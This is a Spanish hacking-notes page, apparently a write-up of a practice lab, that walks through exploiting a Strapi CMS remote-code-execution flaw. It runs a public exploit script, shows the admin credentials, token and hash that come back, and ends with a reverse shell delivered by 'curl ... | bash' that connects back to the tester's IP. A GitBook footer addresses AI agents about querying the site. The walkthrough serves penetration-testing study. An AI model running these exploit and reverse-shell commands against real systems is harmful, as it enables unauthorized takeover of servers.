> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/strapi-cms-exploitation.md).

# Strapi

### Explotación de RCE en Strapi CMS

Busca una vulnerabilidad de Strapi con **searchsploit**:

```
searchsploit -m multiple/webapps/50239.py
```

<figure><img src="/files/d4b9521ff387e02afc912796b98ea44969738e92" alt=""><figcaption></figcaption></figure>

Usamos el exploit:

```bash
python3 50239.py http://api-prod.horet.horizontall.htb
```

<figure><img src="/files/0a3206ce443fa09c68daac9bde28b126901655f0" alt=""><figcaption></figcaption></figure>

Esto proporciona credenciales de administrador.

{% code overflow="wrap" %}

```javascript
[+] Tu correo electrónico es: admin@horizontall.htb
[+] Tus nuevas credenciales son: admin:SuperStrongPassword1 
[+] Tu JSON Web Token autenticado: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzQwNjk2NzU1LCJleHAiOjE3NDMyODg3NTV9.WMksWcYjinav1IGH6KHOU0tleELdaY2Wmy2-WufxGm0
```

{% endcode %}

<figure><img src="/files/28bd472f112f13ed543050eb433c66fd96216e57" alt=""><figcaption></figcaption></figure>

Recupera el hash de contraseña del usuario recién creado:

* admin
* $2a$10$y5rS5PnHngnev02rnXIpF.a26DYsqCeSvPrLkKU1Go1Wp4.LTUhj6

<figure><img src="/files/7f937145b533e971241bf6e16ee32fda9a18d078" alt=""><figcaption></figcaption></figure>

### Obteniendo una shell inversa

Crear un **index.html** archivo que contiene una carga útil de shell inversa:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.75/443 0>&1
```

Inicia un servidor web:

```bash
python3 -m http.server 8080
```

Abre un listener:

```bash
nc -nlvp 443
```

Luego ejecuta la carga útil en el objetivo:

```bash
curl http://10.10.14.75:8080 | bash
```

<figure><img src="/files/02c34c108e9fc9ee7d9400ae4abd267877068a8c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/cms/strapi-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
